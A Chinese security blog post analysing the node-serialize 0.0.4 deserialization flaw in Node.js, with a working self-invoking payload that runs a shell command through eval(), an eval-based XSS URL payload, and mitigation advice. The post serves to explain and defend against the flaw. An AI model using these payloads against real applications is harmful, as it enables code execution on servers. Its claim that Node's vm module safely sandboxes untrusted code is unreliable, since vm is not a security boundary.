Node.js 反序列化远程代码执行分析

360安全客 安全知识 172180 4

最近关注到一些Node.js的漏洞，比较感兴趣的一个反序列化导致远程代码执行的漏洞，个人开发Node.js也有不短时间，决定尝试复现分析它并给出一些开发建议，遂有此文。

 

漏洞复现

我使用 0.0.4 版本的node-serialize进行复现。

首先使用Node.js 自带的 child_process 模块的 exec() 函数构造命令。child_process.exec() 可以衍生一个shell并在shell中执行命令。

const child_process = require('child_process');
child_process.exec('ls /', function(error, stdout, stderr) { console.log(stdout) });

运行上面代码可以得到如下结果：

确定命令可以执行后，构造一个对象，将这个函数放入对象，使用 node-serialize 序列化这个对象。

const serialize = require('node-serialize');
const y = {
  rce : function(){
  require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
  }
 }
console.log("Serialized: n" + serialize.serialize(y));

运行上面代码得到如下结果：

但这只是一个包含可执行函数的对象，并不能执行。尝试将序列化的函数加上括号使其自执行，然后再反序列化对象。

const serialize = require('node-serialize');
const payload = '{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

运行代码可见执行成功：

 

漏洞分析

问题在 node-serialize/lib/serialize.js 中第75行：

unserialize 函数直接使用 eval() 反序列化JavaScript对象，在JavaScript中，eval() 可以计算一个表达式并且执行它。因此在没有任何保护的情况下，传入的序列化函数对象就被执行了。

 

Eval is evil

在这里想针对 eval() 多说几句，在研究XSS漏洞的时候，一定见过如下例子：

var getarg = function(){
    var url = window.location.href; 
    var allargs = url.split("?")[1];
    if (allargs!=null && allargs.indexOf("=")>0)
    {
        var args = allargs.split("&"); 
        for(var i=0; i<args.length; i++)
        {
            var arg = args[i].split("="); 
            eval('this.'+arg[0]+'="'+arg[1]+'";');
        }
    }
};

我们可以构造这样的payload形成XSS：

http://domain.com/xxx.html?key=aaa";alert(1);//

那么在Node.js，其实什么都没有变。

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。JavaScript中的很多函数在Node.js中同样适用。Node.js又是一个运行在服务端的JavaScript，在这样的环境中使用 eval() 就会带来更严重的问题。

同样的问题也会出现在 SetTimeout() 和 SetInterval() 这两个函数中，他们的第一个参数可以是字符串也可以是函数。当使用字符串传入恶意内容，到了相应的时间也可以被执行。幸运的是，在Node.js中第一个参数必须是函数。

 

如何避免

如果你尝试过复现这个漏洞，在执行 npm install node-serialize 时会出现这样的提示：

按照提示执行命令 npm audit 可以得到如下详细信息：

因此在我们使用 npm install 的时候留意一下提示信息是很有必要的。

搜索npm网站，我发现了另一个1000+ star的序列化包，这个包直接没有提供反序列化方法，而是发现了这么一段文字：

好吧，它成功的把隐患留给了你。那么必须使用 eval() 的时候需要注意什么呢？

  • 不要将用户输入的不可信数据直接传入其中

这样的数据包括但不限于用户表单、URL参数、Cookies、Header等。

  • 使用 VM 中的沙箱执行不可信代码

Node.js原生提供一个沙箱，可以使执行环境和当前上下文分离。有关 VM 的具体使用方法可参考Node.js v10.9.0 Documentation – VM。

在这里我将 serialize.js 的 unserialize 函数抽出，精简一下并使用沙箱实现相同逻辑：

const vm = require('vm');

function unserialize (obj, originObj) {
  const FUNCFLAG = '_$$ND_FUNC$$_';
  let isIndex;
  if (typeof obj === 'string') {
    obj = JSON.parse(obj);
    isIndex = true;
  }
  originObj = originObj || obj;

  const circularTasks = [];
  for(const key in obj) {
    if(obj.hasOwnProperty(key)) {
      if(typeof obj[key] === 'string') {
        if(obj[key].indexOf(FUNCFLAG) === 0) {
          let result={};
          const sandbox = { result,FUNCFLAG,obj,key };
          vm.createContext(sandbox); 
          const code = 'result =eval("(" + obj[key].substring(FUNCFLAG.length) + ")")';
          vm.runInContext(code, sandbox);
          obj[key] = sandbox.result;
        } 
      }
    }
  }

  if (isIndex) {
    circularTasks.forEach(function(task) {
      task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
    });
  }
  return obj;
};

实现后，使用正常payload和恶意payload分别调用：

const payload ='{"obj1":1}'
const evilPayload = '{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}()"}';

const result = unserialize(payload);
console.log(result)

const evilResult = unserialize(evilPayload);
console.log(evilResult)

这次使用 evilPayload 调用 unserialize 报错，说明沙箱生效。

 

参考

  1. Exploiting Node.js deserialization bug for Remote Code Execution
  2. Node.js v10.9.0 Documentation – VM
（完）